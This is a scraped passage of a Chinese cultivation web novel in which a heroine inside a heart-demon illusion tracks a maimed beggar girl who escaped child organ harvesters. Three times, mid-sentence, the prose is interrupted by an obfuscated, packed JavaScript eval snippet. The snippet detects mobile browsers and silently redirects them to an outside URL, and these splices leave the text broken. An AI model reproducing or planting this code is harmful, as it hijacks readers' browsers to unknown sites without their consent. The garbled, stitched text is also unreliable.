;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17296661|198566||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 鱼枕荷恼道:“我怕跑晚一步被人打啊……” 女孩视线扫过鱼枕荷侧脸,察觉对方真是不太高兴了,遂斟酌一番后缓言道:“你知不知道这种事发生得多频繁,他们小至坊正大至县令,哪个出面管过了?即使编户籍不频繁,人口失踪案总归是收到过的,结果都是泥牛入海。你要登门去问他们,他们肯给脸开门了也只怕是会说‘你去找他们修仙的啊!那么多世家驻扎在这里,不就是为了惩奸除恶吗?哪还有我们平常人什么事?’” “就这些个人,当官的把仙门当挡箭牌,理所应当不管事,仙门的更不屑于管这些妖魔鬼怪之外的杂碎事,我就算是把登闻鼓敲烂了都没用。” “未必如此。”听完女孩的最后一句话,鱼枕荷摇摇头,“未必和妖魔鬼怪没有关系。” “嗯?” 鱼枕荷道:“你方才说他们是器官交易组织,但器官交易有供应方,自然还需要有为之买单的需求方。与你一同被绑走的孩子有三个,后来又被绑来一个,也是很小的孩子吗?” 女孩点头,道:“和死掉的那两个一般大。” “他们……都被剜了肾脏?” “不知道,他们身上或多或少都有破烂衣服遮着,光线也没有,我没看清。” “那就怪了。”鱼枕荷道,“能做脏器移植的医馆少之又少,而且多半要依赖昂贵的仙法符箓才能完成救治。同一时间内,怎么会大量出现有脏器需求的买方?” “六七岁的孩子,脏器都没有长好,挖出来了又能给谁呢?难道有这么多人家的孩子脏器出了问题?” “再言,反正都做这种事了,干脆把你们全部榨干好了,一点价值都不要剩。可你说年纪小的那两个被扔回来之后很快就死了,年长的那人被扔回来之后却与你一样还能活,这是否意味着他们在每个人身上只会取个别一两处脏器,而且取的脏器还各不相同?若说人有五脏,他们捉来五个孩子,是否打算一人取一脏?” 鱼枕荷絮絮叨叨念了一大堆,女孩上一段还没消化完,就听对方接着说道:“你被关押的地方有霉味和铜臭味,同伴可以从手边摸到足以将人敲晕的坚硬器物……” “有房间、有回廊,虽建在地下,却需要有人在廊道巡逻,这大概不是个专门用来关押人的密室,就像你们能找到一口通往外界的小天井那样,廊道连通的其他房间里,很大可能也同样拥有通往外界的路,否则依照严谨的密室结构,他们派些人在唯一可出入的大门口守着就足够了,完全没有必要多此一举。而你们逃出来之后又身处一片山林,这听着倒有些像……” “陵墓?”女孩试探地接话道。 “嗯,很像。”鱼枕荷道,“假定那处就是陵墓,是否有可能,在你们之前就已经有很多孩子被取了脏器,以五人为一组,被他们丢在另外的墓室里就地掩埋了?” 女孩愕然道:“他们把陵墓当据点,难道是为了更方便藏人埋尸?” “这是最可能的理由,不过也许还有别的原因。”鱼枕荷道,“寻常人家入葬都是土坑墓,陵墓里有专门挖的墓道、墓室,还不止一间的,不是皇亲国戚也是地主豪绅。深山老林……唔……风水很难好,应该不是皇室,那便是地主豪绅了。” “你同伴摸到的坚硬物什兴许是陪葬品,青铜匕首之类的,除此之外,大概还会有很多镇压鬼煞气的器物。把杀死的无辜孩童安置在如此规格的陵墓里掩埋,可能是担心他们死后化厉鬼,打击报复自己。” “虽说有地府无常鬼在,这种冤魂乱跑的情况在人间基本见不到,再加上有仙门驻守,平常时候也不太会有人刻意去考虑这些离自己很远的事,但倘若他们偏生极其相信和敬畏神鬼之说,那便不一样了。” 一言及此,鱼枕荷又侧过视线看向女孩,话道:“你听说过……‘装脏’吗?” 12. 或许吧 “装脏?”女孩面露疑惑,“那是什么?” 鱼枕荷定了定神,解释说道:“装脏,‘脏’字通常释作‘宝藏’的‘藏’,后来逐渐被撰写成了‘五脏’的‘脏’,大体是指往佛像、神像或法器等宗教圣物内部装入特定物品的一种仪式,在道、佛两教皆有所实践。” “佛教认为,装脏能为佛像赋予‘灵性’,使其成为修行者供奉和礼拜的载体,象征佛、法、僧三宝的合一。” “道教装脏则旨在‘通神’,使神像成为神灵驻跸之所,沟通天、地、人三界。” “但通常而言,不论是佛教还是道教,装脏用的都是经文符箓、中柱丹书这些,不会真的取人五脏。” 鱼枕荷停顿半晌,道:“不过……若他们当真是如此行径,便也能解释得通他们为什么要孩童的脏器了。按照常理来说,涉世未深的孩童都被喻作纯洁的象征,用来做仪式再合适不过。” 经鱼枕荷这么一解释,女孩算是听懂了,同时也越来越觉得怪异。 “按你的意思,那群人这么做是想要‘通神’?可这设想是不是太离奇了?他们为什么要取活人的五脏,难道是理解偏误?” “我也觉得有些离奇。”鱼枕荷未作反驳,道,“不过放大胆了想,往器皿内存放法器是为了通神,那么直截放五脏便是为了……”想到这里,她似乎自己都在下意识否决自己的猜测,眉头微蹙,不确定地开口道,“造神……?” …… 日悬天际,将九重天的天空染成浅淡的烟紫色。 无常关的内门弟子陆续将行头搬上了般若峰。睡了个饱觉,又是觉得此处比斋舍安全不少,每个人心头的恐惧都稍有散去,背着包袱东瞟西看。只不过昨夜诸多同僚的离去,仍旧让沉默在队伍中徘徊不散。 兴许是认为气氛太过沉闷,走在人群中的其中一个门生轻咳了一声,随便指着个地方,故作镇定地开口道:“嚯,好长的九曲回廊!” 溜小鸡崽似晃在队伍最后的宋逍眉尾一挑,便又听另一道年轻的声音接话道:“看那儿,紫藤花欸!我听说有些紫藤花是臭的,你们谁去闻闻?” 很快,默契逐渐蔓延开,整支幸存下来的内门队伍都开始你一言我一语的搭话起来,虽然语调些许僵硬,更有甚者声音都还发着抖,脱口的话也十分干巴。 “石头……对、石头!这里的石头也好看……呃……草也好看……” “这里随便卖出去一个殿都能养活咱一辈子吧?咱无常关这么有钱,饭堂还老蒸没有馅的包子到底啥意思?” “别赌,无常关抠门九重天尽知,谁让姜掌门喜欢到处捡流浪小孩,宗门三天两头就要多一个人的开销。要吃饭还是得打米饭面条,至少肉眼看得见。” “我只是听说啊,以前各座峰头的宫殿都是住满的,还都是些战力顶尖的前辈,不过似乎都在五百多年前,那场持续百年的界域混战中牺牲了……” “兔子!有兔子!” 有眼尖的门生伸手指向院中一闪而过的雪白影子,赶忙用另一只手拍打身边人,叫他们转头去看。 事实上,偌大个无常关的建筑装潢都如出一辙,唯独布局不同罢了。有的山峰修成浮光宝殿,就如般若峰;有的山峰修成楼阁水榭,如姜书怜的自在峰。从主峰无常峰搬到般若峰,也不过是头回去朋友家做客的感觉。 不过在众人一番努力之下,死寂的氛围总算是稍微缓和了下来。 “悟已往之不谏,知来者之可追……各个年纪不大,悟性还挺高。”宋逍微笑着朝身侧板着个脸的闫楚说道,“昨晚的阵仗委实不小,我还以为这群小家伙至少得怕个三天三夜不敢说话呢。” 同样前来陪护门生的闫楚正窝着火没处撒,当着这么多小门生的面也不好骂得太难听,只沉声道了句:“缝上你的嘴。” 于是宋逍飞溜溜跑走了。 紫藤甜香随风弥散,点点紫株相依相缠、交织垂落。雪白的小兔轻盈穿梭在廊庑间,掠过一片栽有亭亭莲花的池塘,于草木花丛中蹿奔,最终在一座寝殿前落定、坐稳不动。歪着脑袋,一只耳朵竖起,另一只耷拉着。 不多时,香珀殿门被人从里推开。 小兔一蹦一跳跃入门槛,蕈紫衣袍曳地,托起小兔,将之抱入怀中。与此同时,殿门也徐缓关阖。 荀九卿揉着小兔的耳根绒毛,小兔柔软的身躯微微颤抖,似乎是跑了一遭后疲惫翻涌上来了。半晌,它粉鼻耸动,骤然扭头向案几的方向。那处立着一道浅金身影,金丝纹绣的牡丹折扇在烛火下熠熠生辉。 “何必呢?”姜书怜眯眼扫过荀九卿怀中的小兔,语调是一贯万事不关己的佻达,说道,“有必要赶尽杀绝?” “她把所有东西都带走了。”荀九卿微垂下眼帘,小兔圆溜的眼睛闪烁若隐若现的红光,正往他怀里钻。 姜书怜道:“哦、所以?如果你找到了,或者现在入峰的其他人找到了,你又打算怎么办?抓她上罚恶殿过堂提审?”他凝视眼前人,道,“荀九卿,不要把天庭的那一套搬来这儿,我不喜欢。” 荀九卿否道:“我没有想要赶尽杀绝的意思,我只是……”他俯身,轻手将小兔安置在月牙桌底下的软榻上,看着小兔窝好,揣起绒爪,换了个舒服的睡姿不再动弹,微一叹息,“罢了,我也说不明白。箭在弦上,不得不发,可走得越高,摔得越狠、越碎。有些事一旦做了,便注定走不了回头路。既然如此,早早摔一跤,总好过日后跌个粉身碎骨。” 叽叽喳喳的吵嚷声逐渐从远处荡开,荀九卿往窗棂外一瞥,遂不打算继续与姜书怜深究这个话题,转而问道:“他们都还在么?” “二百三十一,一个不少。”姜书怜说道,“我原本以为另外那两个还得费点心思去要,竟然给我送回来了。”他呵地笑了一声,“藏在暗地里的那个人……精得很。他这么一闹腾,就算我脑子真缺根弦儿都得知道鱼枕荷在干什么了。我要默许,相当于那人给她拉了兜底;我要不买账,他就因势乘便直接从我们这儿把人撬走。反正甭管怎样都是他得利,我们就只能老老实实吃个哑巴亏。” 见对方如此直言,荀九卿索性没有再多做隐瞒,低声道:“你都知晓了。心魔化煞形成之初,皆是游走在心魔宿主周围地带的‘地缚灵’。这所谓磕头夺命的‘鬼’实在太过凶悍,叫内门一夜便离奇死去百余人,若是此等心魔挣脱了地缚,驻守人间的仙门百家不可能毫无动静。” “此心魔如今大抵是只出现在了某一片区域,还未有扩散至远地,或者根本便未有过扩散,至少不足以引起仙家瞩目。它能被我派弟子携上九重天,必定是有人动了手脚。” “譬如某个催动心魔活性的功法。”姜书怜冷笑道,“心魔引。” …… 心魔幻境。 鱼枕荷认真思忖着方才所做推测的合理性。片刻过去,她转头,询问女孩道:“你还记得自己是从哪个方向跑到这里来的吗?或者有没有看见过什么比较特别的建筑?” 无论如何,挖不到实质的证据,仅凭空想还是没有什么用处,最好能找机会到当地去摸索一番。 女孩眉头皱起,不解看她道:“问这个干什么?你不会是想去打拐吧?我可提醒你了,那是个有刀有棍的完全组织,你看着也不像是个能挨打的,我们连面对一个耍流氓的汉子都只能靠逃,根本没有余力与他们对峙。而且这件事根本和你没关系吧?” “嗯,你说得没错。只是地下的脏器交易的话,我的确可以跑远一点躲起来,当作这件事不存在,但……”鱼枕荷道,“如果他们想要做那些神鬼事,一旦做成了,影响范围不可估量,正所谓覆巢之下焉有完卵,到时候我也逃不了。” “你身上的刀口很利落,这代表他们做这些事已经尤为熟练,而且是不嫌麻烦地徒手摘,并没有动用法术或利用法器的痕迹。如果他们组织内部绝大多数都是没有经过修行的人,或许我们并不是完全没有抵抗的办法……”她接着又再度问道,“他们在哪儿?” 女孩怪异看着她,不知道这个白眼 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17296662|198566||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 是该翻不该翻。 人家到底是来帮忙的,自己没道理横眉冷对,但执拗要跑到一个自己好不容易才逃出来的地方去,也不像正常人能做得出的举措。 两个人肩并肩挨着,鱼枕荷看得出女孩面上神情的连番变化。 鱼枕荷自然知晓她这番说辞有多天马行空,几乎与胡扯也没有区别了。可传信那人既然特地动用心魔引,把由此心魔幻境而滋生的血煞气逼上九重天,还闹出这么大动静,目的绝不仅仅是来催她,最大的可能便是此心魔的产生由头也很棘手,需要一并处理干净。 能让暗处那人产生重视的……所谓脏器交易,便很难是单纯的脏器交易。 “算了。”女孩放弃了与鱼枕荷置辩,朝鱼枕荷伸出手,道,“路我没看清,最多凭记忆带你往回走走。” 鱼枕荷看向她朝自己伸出的手臂。片刻后,她点点头,遂捞过女孩的臂弯,将她拉起背在背上,站起身。只不过方才往前走了两步,她便忽觉双腿一软,整个人不受控制地直截往前跪倒下去,牵带着背上的女孩,两个人扑通一声重新栽回地上。 “?”女孩砸在鱼枕荷背上两眼一抹黑,回过神来依旧不明所以。 怎么一回事?这人前不久抱起她就跑的时候不是挺灵活的吗,怎么换成背就不行了? “要不然……你抱着我走?像先前那样?”女孩从鱼枕荷后背上爬下来,试探发问道。 鱼枕荷随即踉跄坐起,并指揉了揉太阳穴,无奈叹息道:“对不起啊……不是抱和背的缘故,是我真的有点走不动了……” 幻境与现实错轨导致的心魔反噬愈来愈重,一时间,鱼枕荷能感受到似乎有悲伤、愤怒、焦躁、惊恐……无数种情绪参杂交错着灌入她的神经,如巨浪般反复卷袭着脑海内那片名为冷静的死水。 分明坐着的时候已经可以勉强适应了,不过想要像寻常人那般站起来走,乃至背个人,好像还是有些吃力。 即便如此,鱼枕荷也没办法说就这么算了。 心魔幻境能够还原当时事,却终究无法回溯时间。任谁都能看得出,女孩身上这伤势早便撑不了多久了,等鱼枕荷回到外界再去杭州府寻人,最多是挖到一具尸骨。 要想找到那些人的据点,仍需依靠幻境。 鱼枕荷往衣襟中摸索一番,取出一块闪烁着血红光泽、边缘并不平整的漆黑石头。 伴随她五指收拢,轻轻一握,立即便有丝丝缕缕的血煞气从她指缝间溢出,与飘散在幻境中的煞气如出一辙。 女孩看不见那些弥散空中的、只有构筑这重幻境的鱼枕荷才能察觉的血煞气,却是能注意到现在从鱼枕荷手中石头里冒出来的这些。她凑上去,好奇打量起鱼枕荷手心间的石头,道:“这是什么?” “玄星石。”鱼枕荷道,“从西极虞渊边境的地底挖出来的,沉淀千万年才能自然形成一块的、罕见的受浊灵石。” “与纯粹因灵气而形成的灵石相反,因为玄星石的生长环境经年累月受浊严重,导致它在形成过程中、自然吸收天地之气时,会类似本能地放弃吸收灵气,转而去吸收煞气,并且它同样可以辅助修炼,只是不适用于……正途。所以玄星石被魔域视为宝物,也被仙域视为不祥。” “这么说,你是魔域的人?”女孩略带诧异的目光上下打量着鱼枕荷,少顷得出结论道,“不像啊,你看着更像江南本土人。” “唔……” 魔域……自然是不像的。鱼枕荷心道。 鱼枕荷籍贯的确在江南一带,能算是本土人,再加上衣服亦是进入心魔幻境便穿着的,完全符合江南本土的装束,本质还是为削弱存在的伪装,与她平常时候的打扮尚存较大差异。 不过退而言之,话本中形容的那种凶神恶煞的魔域人,也全都是夸张罢了…… 毕竟魔域最初是从仙域分割出来的,也没有哪个话本说过仙域人长得凶神恶煞…… 鱼枕荷沉默了一会儿,然后抬起头,笑答道: “或许吧。” 13. “磕头鬼” 女孩瞳孔微颤。 见此,鱼枕荷也没有多作解释,只看着她,眼眸笑弯起:“你也怕魔域的人吗?” “反了。”不过须臾时间,女孩又恢复一如既往的平静,“是因为魔域的人屠害无辜,所以才怕他们。说到底,怕的是人,而不是哪里的人。”她朝鱼枕荷说道,“乱猜什么,没有怕你,我只是头一回见到魔域的东西,有些新奇而已。” 闻言,鱼枕荷低下脑袋若有所思,手中泛着血红光亮的玄星石被她像盘核桃般来回翻转来反转去。蓦地,她听见不远处传来渐近的脚步声,于是扭过头去。 巷口的拐角处探出一颗脑袋,是个约莫花信之年的粉裙女娘,额心一朵浅蓝花钿,清淡柔美。 四目交汇,只听那侧的女娘轻轻“呀”了一声,随即便小跑出来。 待她整个人离开阴影处,鱼枕荷与小女孩便都瞧见了她怀里揣着的、被叠得整整齐齐的簇新花青色棉袍,以及一根长木杆子。 粉裙女娘跑到女孩身前跪坐下,目光小心扫过周围,旋即将怀中勉强能充当拐杖的木杆子和棉袍推给她。木棍不算粗,但也不至于细到轻易被折断。 她用轻柔温软的声音说道:“姑娘儿,我同你讲呀,外头坏人木佬佬,多是软脚蟹嘞。你穿戴得清清爽爽,莫让人看出是讨饭的,他们就不敢动歪脑筋。” 女孩眨了眨眼,低头看了看手里的木杆子和棉袍,满脸懵然。 “好不好呀?”粉裙女娘继续说道,“阿姐的布衣店就开在葛条街东头第三份人家,没衣裳穿就来寻我,肚皮饿也来我家……” “啊?我……什么?” 两人交谈时,鱼枕荷就安静窝在旁边。她轻易能听得懂吴语,便闻身侧的女娘正一字一句地细数自己平时什么时候外出,什么时候做饭,什么时候熄灯…… 面对不知是从哪个拐角窜出来的、也许是从当时围观的人群散开后就回到自家店铺,取了衣服立马来寻她们的陌生女娘,女孩显然有点儿没反应过来,只得对方每说几句话,她便懵懵懂懂点两下头。 百忙之中,女孩抽空回望向鱼枕荷一眼,鱼枕荷瞬间便看懂了她眼神中掺杂的无奈思绪: 你们这里的人……话都这么多吗? 鱼枕荷回她以清浅的微笑,末了再度垂眸,看向手中的玄星石。 她携带的这块玄星石几乎有手掌心这么大,凹凸不平的表面红光透亮,显然是一块生长千百年未曾裂损,早已吸收了足够多血煞气的珍稀玄星石。此刻它静静躺在鱼枕荷手心间,静待发落。 实话说,若非反噬状况愈发严重,鱼枕荷真的还想在这片被她搅乱原本秩序的幻境内多待一会儿。没人能比她这个能时时刻刻切实感受到反噬的人更加清楚,外界所发生的现实,远比这片扭曲幻境要惨烈得多。 这是鱼枕荷头一回利用心魔引构筑心魔幻境,并亲身进入。听着身旁传来的细语声,鱼枕荷恍惚想道,原来茫茫人海中一个渺小不可闻的人的出现,当真能做到拨开既定命运的微茫一角,换来片刻缥缈的美梦。 哪怕先前拦下汉子的、此时此刻身处这里的不是她,是其他人,都无伤大雅。也许很多事走向截然不同的分叉口……就差这么一个小小的变数呢。 血煞气溢出玄星石,如一层厚重的黑红色烟雾逐渐掩盖住鱼枕荷的身形。 “祝若琰!我叫祝若琰!” 血光之外,一道声音传入鱼枕荷的耳朵,她企图透过煞气朝外看去。 女孩忽隐忽现的轮廓浮现在鱼枕荷眼前,有些脏污的脸颊上浮现一个极淡的笑:“祝英台的祝,草右若,琰圭琰,我的名字。你要走了对吧?不是说还要去打拐吗,等你什么时候决定好了,可以来找我。”她用大拇指点了点面前递给她新衣裳的女娘,“不出意外,我会在她店里。别记岔了,东街尽头第三家店铺。你知道的,我给不了你太多时间,过时不候。” 听到女孩名字的那一刻,某个原本模糊的猜想,在鱼枕荷脑海中逐渐成型。 若、琰。 炎……? 鱼枕荷也朝女孩露出一个笑容,尽管血煞气已经将她的面容遮得看不清楚。 她道:“放心,我们很快就会再见的。” 待到黑红血光迅速笼罩,再逐渐散去,鱼枕荷彻底消失在身旁二人的视线中。 粉裙女娘眨了眨眼,望着弥留的一丝血煞气,惊奇道:“啊呀,倷看看!葛个人‘嘭’一记就变没了呀?烟雾腾腾还带红光…该不会是灵隐寺飞出来的神仙菩萨嘞?” “……”女孩无语道,“谁家神仙不冒金光冒红光,怕不是收到假香火了。” 女孩远远望着鱼枕荷消失的地方,不知在想些什么。 就在这时,一双手毫无征兆地摁在女孩瘪下去的肚子上。 女孩一个激灵,好似又回忆起那间霉臭的暗室里,同伴们被开膛破肚的情形,下意识地挥掌拍开粉裙女娘的手,瞪着她道:“你干什么?!” 粉裙女娘丝毫不介意女孩的反应,只当这是流浪儿本就该有的警惕心,依旧笑眼弯弯道:“肚皮咕咕叫了吧?我家灶披间饭应该焖得喷香了,阿姐带你回去吃热饭好不啦?” “现在?” “可不是嘛,你刚才都同边边上那个神仙菩萨讲好嘞。” 女孩默然片刻:“那……好,谢谢你了。” 知晓女孩腿脚不便,粉裙女娘便膝跪到女孩前面,转了个身背对她,随即朝身后说道:“上来呀,来趴稳阿姐背脊,我日日搬布匹练出的力气可不骗人!” 见状,女孩也不客气,笑了一声后双臂便直接环搂粉裙女娘脖颈,被她从地面背起。 “哎哟,你的杆,戳着我的面孔啦!” “啊?哦。”女孩赶忙将握在右手的木杆子歪斜到不会戳着人的角度,“对不起,刚才没注意。” 粉裙女娘笑道了几句没事,继续背着女孩往巷子外走去。 “风来哉,云散哉,小囡囡有热汤暖哉……” 一个女娘背着个轻飘飘的小乞丐,哼唱着哄家中幼童的小曲,一步一步走向拥有明媚阳光的江南小街。 偏偏此时,天生异象。 自鱼枕荷离开后,丝丝缕缕的血煞气便像是没了约束,雨后春笋般滋长增生,逐渐盘踞整个天空,将原本湛蓝的天空完全笼罩,染成血色。 粉裙女娘似乎察觉到了异样,抬首望向天穹:“咦?这个天……红得跟染坊倒翻了朱砂缸似的哦。” 咔嚓—— 钢丝崩断的声音从天际响起,天空的血红开始生出细密裂纹,从地面往高处看,就好像是天空裂开了。 “搞什么,怎么突然变天了?清早还好端端的!” “阿唷唷,血沥沥红的……怕不是天上落下来的灾劫喔……” “娘亲,我怕……” …… 不远处,许多过路的人也纷然往天上看去,或惊奇、或恐惧,一时间议论声炸响整条街道。 女孩同样抬起头,看向头顶那血红一片、无比诡异的血天景象,惊得张大嘴巴:“这是……什么……?” 无人回答。 下一秒,天崩地裂! 血红天空如同摔落在地的铜镜碎片般轰然坍塌,大地也出现道道深不可测的沟壑,猝不及防就要叫人坠落下去。 尖叫声,奔逃的脚步声,此起彼伏。 然而又仅仅是弹指一瞬间,行人、酒肆、花红柳绿、白墙青瓦……整条街上的所有场景便齐齐扭曲,宛如被一只无形巨手揉捏成一团。 一秒、两秒…… 时间安静流逝。 待这只无形巨手重新摊 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17296663|198566||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 开,一切又回到了最初的样子。 行人、酒肆、花红柳绿、白墙青瓦……仿佛方才众人所看到的诡异场景,只是一场集体产生的幻觉。 街道的一头似乎有些骚动,几个零散路过的行人围聚在一起,悉悉索索地讨论着什么。 又过约莫半盏茶工夫,一个汉子拖拽着一个衣装破烂、左腿残废的小女孩,缓步走出人群…… …… 另一边。 一阵天旋地转之后,原本高悬空中的金乌一点点被昏暗吞噬。暮色四合,街上热闹不减,巷里挨家挨户点起灯火。 猩红光芒消散,玄星石再度黯淡下来,被鱼枕荷藏回衣襟里。 离开了上一片错乱的幻境空间,鱼枕荷身上的心魔反噬已然不再继续加剧,只不过原先受到的那些伤迹尚且还没有好转的迹象。 此处仍旧是心魔幻境,在鱼枕荷的意念控制下,若不出意外,应当是到达了处于方才那重幻境之后的时间段。 夜市喧闹,巷子里便相对静谧。鱼枕荷独自在巷内穿梭,搜寻祝若琰的身影。 唔……的确是很快就会再见。 既然清楚了无常关“磕头鬼”的煞气源自于祝若琰,心魔幻境又是因其而生,即便鱼枕荷不知晓祝若琰此刻的身体状况如何,也至少能确定她还活着,而且不会离她穿梭过来时所处的位置太远。 就在这时候,不远处传来几道清脆的声响,撕破寂静夜色。 咚。 咚。 咚。 突如其来的动静,诡谲而突兀。 这动静落在旁人眼里,或许只是敲击声,但当它落在鱼枕荷、以及无常关弟子斋舍幸存的那些个门生眼中时,他们根本不可能辨认不出这份动静。 这是他们的一夜梦魇—— “磕头鬼”的声音。 弟子斋舍的心魔煞气爆发时鱼枕荷不在场,尽管如此,她对昨晚的事态也有基本的了解,此时立马便辨认出了磕头声,脚下步伐偏转,径直就循着方向找去。 随着鱼枕荷逐步靠近,磕头声传来的地方越来越近,声音也越来越清晰、响亮,仿佛具有某种穿透力。 最终,鱼枕荷来到一座宅院外。借着门前垂花柱下悬挂的灯笼所散发出的亮光,她看见了那接连不断磕头的声音来源。 那是一道极其瘦弱残破的身影,发丝打结成团,衣物破烂满是血污,坑坑洞洞的废布料虚挂在身上,掩盖不住单薄成一片的小身躯。 祝若琰。 门前的“磕头鬼”,是在前一重被鱼枕荷篡改过的幻境里,刚刚收到了簇新棉衣,有了温饱地的女孩。 此时此刻,她正对着宅院的正门,一下一下用力磕着响头,一股子不把身前的花岗岩踏跺撞碎不罢休的架势。光是听着,鱼枕荷便感觉额头疼,眉头不由得微微蹙起。 鱼枕荷体内的心魔反噬不再快速加剧,代表着幻境内错乱的时空被修正,自然而然地,鱼枕荷在前一重幻境的存在也会随之被抹除。幻境内的一切又回到了正轨,与外界那些曾经所发生过的历史重叠。 目之所及处,小身影还在不停歇地磕响头。鱼枕荷站在对方看不见的角落,自己却能借光看清正门对面那道身影,以及身影周遭的景象。 祝若琰额头上血肉模糊,血水蜿蜒而下,挂在她脏兮兮的脸颊上尤为可怖。在她面前的踏跺上,是那只曾被鱼枕荷落在街头的锈铁碗。 不过这会儿,碗里不再只有零星几块铜板和几张小面值银票,取而代之的,是好几块掰碎开的银子,甚至还有一块完整的银铤。 鱼枕荷仰头看向天穹。商星近中天,北斗指西南,正是子时。 她忽然有些明白,祝若琰为什么偏要挑在这里,也便是一个光看门楣装潢便是富贵人家的宅院外,反反复复磕响头了…… 14. 祝若琰 终于,在祝若琰连续不断的响亮磕头声中,宅院内的人沉不住气了。吱呀一声,大门被人从内部推开。 “吵吵吵!吵你娘啊吵!让不让人睡觉了?!” 伴随一道夹杂着怒气的骂声响起,提着木棍的小厮疾步跨出门槛。看见踏跺下的女孩后,更是三步并两步地移到她面前,大手抓住女孩的刘海,将她的脑袋提起来面朝自己。 “又是你?昨个少爷不是已经给了你一袋碎银了吗,还不够?一个臭要饭的敢这么贪,之前怎么没被人打死!” 小厮怒火冲天,反观女孩却安静得不同寻常,面对随时可能落下的一棍子始终无动于衷。 片刻后,那根木棍还是重砸了下来,打在女孩单薄的背脊上。一记闷响,女孩整个人摔倒在踏跺下。小厮紧接着走下踏跺,蹲下来,甩开手中木棍,而后再度拽起女孩凌乱的后发,掌心用力,将她的脑袋直接摁到地面。 一下、又一下。女孩的额头被压着磕在地上,小厮像是憋了一肚子火气无处宣泄,边摁着女孩的头颅边骂道:“老子从小到大见过这么多叫花子,没见过哪个像你这样不要脸的!” 他视线偏转,瞥见方才拽住叫花子时顺脚踹到一旁的锈铁碗。碗翻了,里头的物什倾泻而出,其中最耀眼的莫不过那块形状完整的银铤。 小厮漆黑的眼眸微微发亮:“嗯?还真被你讨到好东西了?”他松开扯着女孩头发的手,径直走向不远处的锈铁碗,俯身捡起那块银铤,用袖口随意擦了擦,“老子以前怎么没这待遇呢?” 他喃喃着,又捡了几块散落的碎银,全部揣入衣襟,便似是气消了,慢慢悠悠走回正门,阖门的声音轻得几乎听不见。 寂静的宅院外,又只剩下一个小乞丐,一只空荡荡的铁锈碗,以及一点儿铜板、纸币。 阴影处,鱼枕荷一只手扒紧了白瓦墙。 那小厮的动作太慢了,若她有意阻拦,对方根本不可能有得手的机会。 可鱼枕荷已经受了不算轻的心魔反噬,如今也是反噬没再继续加剧才勉强能迈开步子,如果再胡乱改变这重幻境的轨迹,她就真的撑不到寻见地下组织据点的时候了。 鱼枕荷重新将视线放回祝若琰身上,看见她在地上一动不动躺了好一会儿,才拖着一条扭曲的腿勉强支起身子,爬到墙边,拿起角落里一根完全不可能撑住她整个人重量的细木杆子,微微借力,总算是一瘸一拐地从地面站了起来,行走时差不多是只能靠完好的右腿跳着走,站不稳时便用杆子拄一下。 祝若琰走了,鱼枕荷远远缀在她身后。 又是接连磕了好几户的头,估摸着都算是这一带的有钱人家,不管是挨骂挨打,或是被挥手赶走,还是真的死缠烂打讨到了钱,鱼枕荷都没有介入其中。 “哎哟!你这小姑娘干什么呀,不知道对着别人家磕头是要折寿的吗!” 又一次,祝若琰被人从大门外赶走。 兴许是上回讨来的钱财全被人抢光了,在接下来的这段时间里,祝若琰每回都事先将锈铁腕里的零碎撇到某个看不清的小角落,再去制造磕头响声,有几次好险就要察觉到东躲西藏的鱼枕荷。 鱼枕荷一路跟着祝若琰,时不时就抬头望望星象,心里估算着距离她进入这重幻境过去了多久。 祝若琰又去磕头“扰民”了,鱼枕荷藏在附近的一棵杨柳后,默默窥向她的背影。 鱼枕荷觉得自己拖得已经够久了。如果说她在祝若琰磕第一户人家时就把人拉走,会受到的反噬是十之有四,那么在她等祝若琰几乎将今夜能够磕一回头的所有人家都磕完后再拉她走,受到的反噬大概便只剩下十之有一左右了。 也许是祝若琰的气运实在差,也许是三更半夜扰人睡觉的确万分不妥,这一户推开大门的人家似乎也想对祝若琰用拳头。 眼看着家丁一步步走向祝若琰,鱼枕荷眉头皱起,脚下不自觉拐了步子。 她不清楚外界那个祝若琰是不是真的熬到了因脏器缺失而死亡的那个时候,她只感到再这样下去,祝若琰就真的要被人活生生打死在这里了。 最终,鱼枕荷还是赶在祝若琰再一次被施以拳脚之前,眼疾手快将她捞了回来,顺便与那家主人道了歉。 果然如她所料,这回她尚未大幅改变幻境轨迹,救人所受到的反噬目前也仅有多扎一根针那般细微,与先前积累的反噬相比,几乎可以说是没有任何感觉。 无论祝若琰如何在怀里蹬踢拉拽,鱼枕荷都用力摁着她不松手。直到大门关阖,鱼枕荷卸下力气,祝若琰终于能够将人一把推开,双眸警惕瞪着她,道:“什么人?” 此刻哪怕没有光线,鱼枕荷也仍旧能察觉祝若琰那如同绵羊见到狼般的目光。 每一重心魔幻境都是独立、互不干预的,很显然,如今鱼枕荷眼前的这个祝若琰根本不认识自己。 